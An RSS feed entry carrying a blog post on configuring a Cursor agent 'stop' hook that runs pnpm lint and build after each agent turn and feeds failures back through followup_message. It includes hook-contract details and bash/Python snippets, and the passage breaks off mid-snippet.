<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Liran Tal&apos;s Blog</title><description>Developer Advocate | GitHub Star | OpenJS Security Pathfinder Award</description><link>https://lirantal.com/</link><item><title>Cursor Agent Hooks: Lint and Build Checks After Each Turn</title><link>https://lirantal.com/blog/cursor-stop-hook-lint-build-verification/</link><guid>https://lirantal.com/blog/cursor-stop-hook-lint-build-verification/</guid><description>How to wire a Cursor stop hook that runs pnpm lint and pnpm build after every agent turn, returns followup_message with captured output on failure, and avoids silent breakage from Cursor&apos;s bundled Node on PATH—plus loop limits, debug toggles, and when to choose postToolUse or sessionEnd instead.</description><pubDate>Wed, 22 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When an AI coding agent finishes a turn, the diff often looks ready long before lint, typecheck, and bundlers agree. Pasting failures back into the chat works, but it is manual, easy to skip under pressure, and it does not scale across a team. &lt;a href=&quot;https://cursor.com/docs/agent/hooks&quot;&gt;Cursor agent hooks&lt;/a&gt; attach scripts to lifecycle events so verification can run in the same context as the agent, and when you pick the right event—results can flow straight back into the next turn without you acting as a human relay.&lt;/p&gt;
&lt;p&gt;This article is a practical explainer for experienced JavaScript and Node.js engineers who already use pnpm (or npm) locally and in CI. It synthesizes a real &lt;code&gt;stop&lt;/code&gt; hook pattern: run &lt;code&gt;pnpm lint&lt;/code&gt; and &lt;code&gt;pnpm build&lt;/code&gt; after each agent turn, capture failures safely into JSON, and return &lt;code&gt;{}&lt;/code&gt; when there is nothing left for the model to do. Along the way it documents three edge cases that are easy to miss in documentation alone: Cursor’s bundled Node on &lt;code&gt;PATH&lt;/code&gt;, the infinite loop that appears when you misuse &lt;code&gt;followup_message&lt;/code&gt;, and why &lt;code&gt;sessionEnd&lt;/code&gt; is the wrong hook if you want self-healing.&lt;/p&gt;
&lt;h2 id=&quot;on-this-page&quot;&gt;On this page&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#background-and-prior-art&quot;&gt;Background and prior art&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#how-cursor-agent-hooks-work&quot;&gt;How Cursor agent hooks work&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#hook-events-comparison-and-mental-model&quot;&gt;Hook events: comparison and mental model&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#why-stop-enables-a-self-healing-loop&quot;&gt;Why &lt;code&gt;stop&lt;/code&gt; enables a self-healing loop&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#implementing-a-verification-hook&quot;&gt;Implementing a verification hook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#pitfalls-we-hit-in-production&quot;&gt;Pitfalls we hit in production&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#debug-logging-and-skipping-work-on-abort&quot;&gt;Debug logging and skipping work on abort&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#reference-configuration&quot;&gt;Reference configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#trade-offs-and-alternatives&quot;&gt;Trade-offs and alternatives&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#applications-and-examples&quot;&gt;Applications and examples&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#validation-and-measurement&quot;&gt;Validation and measurement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#security-and-performance-considerations&quot;&gt;Security and performance considerations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#limitations-and-future-work&quot;&gt;Limitations and future work&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#troubleshooting&quot;&gt;Troubleshooting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#faq&quot;&gt;FAQ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#next-steps&quot;&gt;Next steps&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;background-and-prior-art&quot;&gt;Background and prior art&lt;/h2&gt;
&lt;p&gt;Teams have long separated “fast feedback in the editor” from “authoritative verification in CI.” Format-on-save, ESLint integrations, and TypeScript language services shorten the inner loop. GitHub Actions (and similar hosted runners) enforce the outer loop on every pull request: install, lint, test, build, sometimes scan. That split is healthy. The gap appears when a coding agent produces a large diff quickly: local editor diagnostics may lag, and CI feedback arrives only after push—unless you wire something in between.&lt;/p&gt;
&lt;p&gt;Cursor’s hooks sit in that middle space. They are not a replacement for GitHub Actions; they are an orchestration surface tied to the agent lifecycle. Prior art includes git hooks (pre-commit, pre-push), task runners, and IDE macros—but those either fire on version control events or on manual triggers, not automatically at the boundary between agent turns. Hooks are closer to “serverless functions for the IDE”: stdin JSON in, stdout JSON out, with explicit contracts documented in &lt;a href=&quot;https://cursor.com/docs/agent/hooks&quot;&gt;Agent Hooks&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The scenario this article optimizes for is a repo where &lt;code&gt;pnpm lint&lt;/code&gt; and &lt;code&gt;pnpm build&lt;/code&gt; are already the local definition of “green,” and you want the agent to see the same failures your CI would surface—without you copying logs from a terminal panel.&lt;/p&gt;
&lt;h2 id=&quot;how-cursor-agent-hooks-work&quot;&gt;How Cursor agent hooks work&lt;/h2&gt;
&lt;p&gt;Hooks are commands Cursor runs at defined lifecycle points. The integration protocol is intentionally small: &lt;strong&gt;stdin&lt;/strong&gt; carries a JSON payload from Cursor; &lt;strong&gt;stdout&lt;/strong&gt; carries a JSON response your command prints; &lt;strong&gt;stderr&lt;/strong&gt; is for human-oriented logs in the Hooks output channel. Cursor parses stdout as JSON when the process exits successfully.&lt;/p&gt;
&lt;p&gt;You declare hooks in &lt;code&gt;hooks.json&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Project hooks&lt;/strong&gt;: &lt;code&gt;.cursor/hooks.json&lt;/code&gt; (committed, shared with the team)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User hooks&lt;/strong&gt;: &lt;code&gt;~/.cursor/hooks.json&lt;/code&gt; (global, personal)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A minimal &lt;code&gt;stop&lt;/code&gt; hook registration:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;hooks&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;stop&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;.cursor/hooks/my-hook.sh&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;timeout&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;120&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;command&lt;/code&gt; path is relative to &lt;strong&gt;the project root&lt;/strong&gt; for project hooks, or relative to &lt;strong&gt;&lt;code&gt;~/.cursor/&lt;/code&gt;&lt;/strong&gt; for user hooks. If you mix those rules, the hook can fail to run with no obvious in-editor error beyond an empty Hooks channel.&lt;/p&gt;
&lt;p&gt;Cursor watches &lt;code&gt;hooks.json&lt;/code&gt; and reloads on save. If changes do not apply, restart the editor.&lt;/p&gt;
&lt;h3 id=&quot;command-hook-contract&quot;&gt;Command hook contract&lt;/h3&gt;
&lt;p&gt;For command-style hooks, keep the following in mind:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;stdin&lt;/strong&gt;: JSON payload from Cursor&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;stdout&lt;/strong&gt;: JSON response (this is what Cursor parses)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;stderr&lt;/strong&gt;: logs you want to read while diagnosing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exit 0&lt;/strong&gt;: success; stdout JSON is honored&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exit 2&lt;/strong&gt;: block the action (equivalent to &lt;code&gt;&quot;permission&quot;: &quot;deny&quot;&lt;/code&gt; where applicable)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Other exit codes&lt;/strong&gt;: fail-open by default in many configurations—treat non-zero as “hook crashed,” not “lint failed”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a &lt;code&gt;stop&lt;/code&gt; hook, the meaningful stdout shapes are &lt;code&gt;{}&lt;/code&gt; (no further automation) or &lt;code&gt;{&quot;followup_message&quot;: &quot;...&quot;}&lt;/code&gt; (ask Cursor to enqueue another user message for the agent). That second path is what makes verification feedback feel like part of the conversation instead of a side channel.&lt;/p&gt;
&lt;h2 id=&quot;hook-events-comparison-and-mental-model&quot;&gt;Hook events: comparison and mental model&lt;/h2&gt;
&lt;p&gt;Cursor exposes multiple hook events. The ones that matter most for “run checks after the agent does work” are summarized below.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Event&lt;/th&gt;&lt;th&gt;When it fires&lt;/th&gt;&lt;th&gt;Agent-visible feedback&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;sessionEnd&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Composer chat &lt;strong&gt;window closes&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Fire-and-forget; response is logged, not injected into a live loop&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;stop&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Each &lt;strong&gt;agent turn&lt;/strong&gt; completes&lt;/td&gt;&lt;td&gt;Yes — &lt;code&gt;followup_message&lt;/code&gt; becomes the next user message&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;postToolUse&lt;/code&gt;&lt;/td&gt;&lt;td&gt;After a &lt;strong&gt;single tool call&lt;/strong&gt; succeeds&lt;/td&gt;&lt;td&gt;Yes — &lt;code&gt;additional_context&lt;/code&gt; is injected after the tool result&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;afterFileEdit&lt;/code&gt;&lt;/td&gt;&lt;td&gt;After the agent &lt;strong&gt;edits a file&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No structured output fields at time of writing&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;first-attempt-sessionend&quot;&gt;First attempt: &lt;code&gt;sessionEnd&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sessionEnd&lt;/code&gt; sounds like “when everything is done, verify.” It does run at a sensible boundary if you want auditing or telemetry. The problem is semantic: &lt;strong&gt;the session is already ending.&lt;/strong&gt; If &lt;code&gt;pnpm lint&lt;/code&gt; fails, there is no agent turn left to consume a structured response. You might still log to a file or push metrics, but you should not expect the model to self-correct from that signal.&lt;/p&gt;
&lt;h3 id=&quot;better-fit-stop&quot;&gt;Better fit: &lt;code&gt;stop&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;stop&lt;/code&gt; hook fires when &lt;strong&gt;each agent turn ends&lt;/strong&gt;—not when the chat closes, but after each model response completes. It supports &lt;code&gt;followup_message&lt;/code&gt;, which Cursor can auto-submit as the next user message, which starts another agent turn. That closes the loop: agent writes code, hook runs checks, hook returns failures as a user-visible message, agent repairs, hook runs again, eventually stdout is &lt;code&gt;{}&lt;/code&gt; and the conversation can stop without you retyping CI output.&lt;/p&gt;
&lt;p&gt;Typical stdin for &lt;code&gt;stop&lt;/code&gt; looks like:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;status&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;completed&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;loop_count&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;status&lt;/code&gt; is one of &lt;code&gt;&quot;completed&quot;&lt;/code&gt;, &lt;code&gt;&quot;aborted&quot;&lt;/code&gt;, or &lt;code&gt;&quot;error&quot;&lt;/code&gt;. &lt;code&gt;loop_count&lt;/code&gt; counts how many times this hook has already triggered a follow-up in the conversation (starting at 0). That field matters when you reason about budgets and safety caps.&lt;/p&gt;
&lt;h2 id=&quot;why-stop-enables-a-self-healing-loop&quot;&gt;Why &lt;code&gt;stop&lt;/code&gt; enables a self-healing loop&lt;/h2&gt;
&lt;p&gt;The sequence is easier to reason about as a flow than as a bullet list. Conceptually:&lt;/p&gt;
&lt;pre class=&quot;mermaid-source-block&quot;&gt;&lt;code class=&quot;language-mermaid&quot;&gt;sequenceDiagram
  participant Agent as Agent turn
  participant Cursor as Cursor
  participant Hook as stop hook
  Agent-&gt;&gt;Cursor: completes response
  Cursor-&gt;&gt;Hook: stdin JSON (status, loop_count)
  Hook-&gt;&gt;Hook: sanitize PATH, run lint/build
  alt checks pass
    Hook--&gt;&gt;Cursor: stdout {}
  else checks fail
    Hook--&gt;&gt;Cursor: stdout followup_message
    Cursor-&gt;&gt;Agent: new turn with failure output
  end&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The invariant you want is: &lt;strong&gt;only emit &lt;code&gt;followup_message&lt;/code&gt; when the model should take a corrective action.&lt;/strong&gt; If checks pass, return &lt;code&gt;{}&lt;/code&gt; so the automation does not manufacture new user messages. The pitfall section below covers what happens when you violate that rule.&lt;/p&gt;
&lt;h2 id=&quot;implementing-a-verification-hook&quot;&gt;Implementing a verification hook&lt;/h2&gt;
&lt;p&gt;The implementation pattern that has been reliable in bash is: read stdin once, optionally parse fields, sanitize the environment, run commands while capturing output, then print exactly one JSON object to stdout before exiting zero—even when lint fails (because the hook itself succeeded at reporting lint failure).&lt;/p&gt;
&lt;h3 id=&quot;skeleton&quot;&gt;Skeleton&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; -euo pipefail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;json_input=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$(cat)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# ... sanitize PATH, parse status, run checks ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;%s\n&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;{}&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;capturing-output-and-returning-followup_message&quot;&gt;Capturing output and returning &lt;code&gt;followup_message&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;When &lt;code&gt;pnpm lint&lt;/code&gt; or &lt;code&gt;pnpm build&lt;/code&gt; fails, you need the agent to see stderr/stdout, but stdout must remain valid JSON. A practical approach is to capture command output to a variable or temp file, truncate to a safe size for context windows, and assemble JSON with a small Python helper (arbitrary shell output makes hand-rolled quoting fragile).&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fail_with_followup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; step_human=$1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; exit_code=$2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; raw_output=$3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;%s&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$raw_output&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; head -c 12000 &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; python3 -c &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;import json, sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;step, code = sys.argv[1], int(sys.argv[2])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;out = sys.stdin.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;msg = (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    &quot;The **stop** hook in this repo ran an automated check &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    &quot;after your last agent turn (same commands as local CI).\n\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    f&quot;**Command:** `{step}`\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    f&quot;**Result:** failed with exit code **{code}**.\n\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    &quot;Please fix the issues in the output below, then continue.\n\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    &quot;```text\n&quot; + out + &quot;\n```\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;print(json.dumps({&quot;followup_message&quot;: msg}, ensure_ascii=False))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$step_human&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$exit_code&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;code&gt;python3&lt;/code&gt; here is deliberate: one stray &lt;code&gt;&quot;&lt;/code&gt; in tool output should not break the entire hook payload.&lt;/p&gt;
&lt;h3 id=&quot;optional-json-parsing-with-set--e&quot;&gt;Optional JSON parsing with &lt;code&gt;set -e&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;If &lt;code&gt;jq&lt;/code&gt; is missing or returns non-zero under &lt;code&gt;set -e&lt;/code&gt;, the whole hook can exit before checks run. A common pattern is to default fields, then parse inside a temporary &lt;code&gt;set +e&lt;/code&gt; block:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;status=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;completed&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;loop_count=0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; -v jq &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;/dev/null &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;2&gt;&amp;#x26;1;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; +e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  status=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$(printf &apos;%s&apos; &quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$json_input&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; jq -r &apos;.status // &quot;completed&quot;&apos; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;2&gt;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;/dev/null)&lt;/span&gt;&lt;/span&gt;
